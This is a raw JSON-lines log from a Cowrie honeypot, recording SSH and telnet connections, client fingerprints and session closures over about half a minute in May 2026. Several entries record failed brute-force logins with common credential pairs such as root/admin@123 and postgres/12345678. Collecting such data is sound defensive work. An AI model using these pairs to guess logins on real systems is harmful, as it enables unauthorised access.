{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:52.008519Z","src_ip":"176.65.139.103","session":"3644829dfa68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:52.091260Z","src_ip":"176.65.139.103","session":"3644829dfa68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:52.355841Z","src_ip":"176.65.139.103","session":"3644829dfa68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:53.515018Z","src_ip":"176.65.139.103","session":"3644829dfa68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":59714,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa3d4696955","protocol":"telnet","message":"New connection: 5.189.169.71:59714 (10.17.0.5:23) [session: 7aa3d4696955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:54.073335Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"139e6558c9bb","protocol":"telnet","message":"New connection: 94.23.163.94:43486 (10.17.0.5:23) [session: 139e6558c9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:54.868793Z"}
{"eventid":"cowrie.session.closed","duration":30.839508533477783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:55.090876Z","src_ip":"94.23.163.94","session":"42003faf36c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"0054138e52b6","protocol":"telnet","message":"New connection: 94.23.163.94:43498 (10.17.0.5:23) [session: 0054138e52b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:55.581148Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46426,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef2a5a15f89d","protocol":"telnet","message":"New connection: 23.254.167.244:46426 (159.203.135.109:23) [session: ef2a5a15f89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:56.609795Z"}
{"eventid":"cowrie.session.closed","duration":31.116867542266846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:57.206908Z","src_ip":"94.23.163.94","session":"94edc00bb3cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57682,"dst_ip":"10.17.0.5","dst_port":22,"session":"349ba5e94a6e","protocol":"ssh","message":"New connection: 176.65.139.103:57682 (10.17.0.5:22) [session: 349ba5e94a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:58.746429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:58.751150Z","src_ip":"176.65.139.103","session":"349ba5e94a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:58.952061Z","src_ip":"176.65.139.103","session":"349ba5e94a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:59.385112Z","src_ip":"176.65.139.103","session":"349ba5e94a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":43502,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe0d65e754b7","protocol":"telnet","message":"New connection: 94.23.163.94:43502 (10.17.0.5:23) [session: fe0d65e754b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:59.489133Z"}
{"eventid":"cowrie.session.closed","duration":30.77767014503479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:29:59.503673Z","src_ip":"94.23.163.94","session":"70ffc1546c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:00.501070Z","src_ip":"176.65.139.103","session":"349ba5e94a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e27edb88fa","protocol":"telnet","message":"New connection: 5.189.169.71:43836 (10.17.0.5:23) [session: f6e27edb88fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:02.378040Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":43504,"dst_ip":"10.17.0.5","dst_port":23,"session":"a631749367aa","protocol":"telnet","message":"New connection: 94.23.163.94:43504 (10.17.0.5:23) [session: a631749367aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:02.845901Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38936,"dst_ip":"10.17.0.5","dst_port":23,"session":"7551e34e32fa","protocol":"telnet","message":"New connection: 94.23.163.94:38936 (10.17.0.5:23) [session: 7551e34e32fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:03.427031Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74471c8b47e","protocol":"telnet","message":"New connection: 94.23.163.94:38946 (10.17.0.5:23) [session: b74471c8b47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:03.555561Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33334,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aff343d2059","protocol":"telnet","message":"New connection: 23.254.167.244:33334 (159.203.135.109:23) [session: 1aff343d2059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:06.213675Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50638,"dst_ip":"10.17.0.5","dst_port":22,"session":"11e6f6cce339","protocol":"ssh","message":"New connection: 176.65.139.103:50638 (10.17.0.5:22) [session: 11e6f6cce339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:06.326930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:06.335282Z","src_ip":"176.65.139.103","session":"11e6f6cce339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:06.420375Z","src_ip":"176.65.139.103","session":"11e6f6cce339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:06.814801Z","src_ip":"176.65.139.103","session":"11e6f6cce339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39108,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f99edc4a7e4","protocol":"ssh","message":"New connection: 159.203.92.129:39108 (159.203.135.109:22) [session: 2f99edc4a7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:06.841998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:07.237144Z","src_ip":"159.203.92.129","session":"2f99edc4a7e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:07.241020Z","src_ip":"159.203.92.129","session":"2f99edc4a7e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"pass123","message":"login attempt [anna/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:07.745967Z","src_ip":"159.203.92.129","session":"2f99edc4a7e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:07.952615Z","src_ip":"176.65.139.103","session":"11e6f6cce339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebedc2c01bb3","protocol":"telnet","message":"New connection: 23.254.167.244:35512 (159.203.135.109:23) [session: ebedc2c01bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:08.652306Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:08.790204Z","src_ip":"159.203.92.129","session":"2f99edc4a7e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.853994846343994,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:10.264474Z","src_ip":"23.254.167.244","session":"73ff4325e917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38808,"dst_ip":"159.203.135.109","dst_port":23,"session":"088028b071fc","protocol":"telnet","message":"New connection: 23.254.167.244:38808 (159.203.135.109:23) [session: 088028b071fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:11.501671Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd26e140d29","protocol":"telnet","message":"New connection: 5.189.169.71:37244 (10.17.0.5:23) [session: 8bd26e140d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:12.191783Z"}
{"eventid":"cowrie.session.closed","duration":30.72324514389038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:13.066186Z","src_ip":"5.189.169.71","session":"ccc388ecfe48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60370,"dst_ip":"10.17.0.5","dst_port":22,"session":"181281658ac1","protocol":"ssh","message":"New connection: 176.65.139.103:60370 (10.17.0.5:22) [session: 181281658ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:13.545268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:13.550880Z","src_ip":"176.65.139.103","session":"181281658ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:13.654495Z","src_ip":"176.65.139.103","session":"181281658ac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:13.934727Z","src_ip":"176.65.139.103","session":"181281658ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.434401750564575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:14.066801Z","src_ip":"5.189.169.71","session":"e202bf55293a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37252,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b569605ddfa","protocol":"telnet","message":"New connection: 5.189.169.71:37252 (10.17.0.5:23) [session: 2b569605ddfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:14.725650Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:15.019335Z","src_ip":"176.65.139.103","session":"181281658ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.113550424575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:15.074384Z","src_ip":"94.23.163.94","session":"0fd7a11f85e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42298,"dst_ip":"159.203.135.109","dst_port":23,"session":"2852aee03971","protocol":"telnet","message":"New connection: 23.254.167.244:42298 (159.203.135.109:23) [session: 2852aee03971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:16.293409Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37262,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a753398562b","protocol":"telnet","message":"New connection: 5.189.169.71:37262 (10.17.0.5:23) [session: 1a753398562b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:16.506979Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55628,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a56a44d5c4f","protocol":"telnet","message":"New connection: 94.23.163.94:55628 (10.17.0.5:23) [session: 6a56a44d5c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:18.803824Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":53190,"dst_ip":"10.17.0.5","dst_port":23,"session":"940632efe16e","protocol":"telnet","message":"New connection: 5.189.178.126:53190 (10.17.0.5:23) [session: 940632efe16e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:19.332796Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b7f225ce46","protocol":"telnet","message":"New connection: 5.189.169.71:58520 (10.17.0.5:23) [session: d2b7f225ce46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:19.491276Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58530,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f4798d01b2","protocol":"telnet","message":"New connection: 5.189.169.71:58530 (10.17.0.5:23) [session: 34f4798d01b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:19.803278Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43546,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b23e4932bc8","protocol":"telnet","message":"New connection: 23.254.167.244:43546 (159.203.135.109:23) [session: 3b23e4932bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.051530Z"}
{"eventid":"cowrie.session.closed","duration":43.53699517250061,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.159255Z","src_ip":"23.254.167.244","session":"52990811dac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60380,"dst_ip":"10.17.0.5","dst_port":22,"session":"730767f7b7d3","protocol":"ssh","message":"New connection: 176.65.139.103:60380 (10.17.0.5:22) [session: 730767f7b7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.523118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.528895Z","src_ip":"176.65.139.103","session":"730767f7b7d3","protocol":"ssh"}
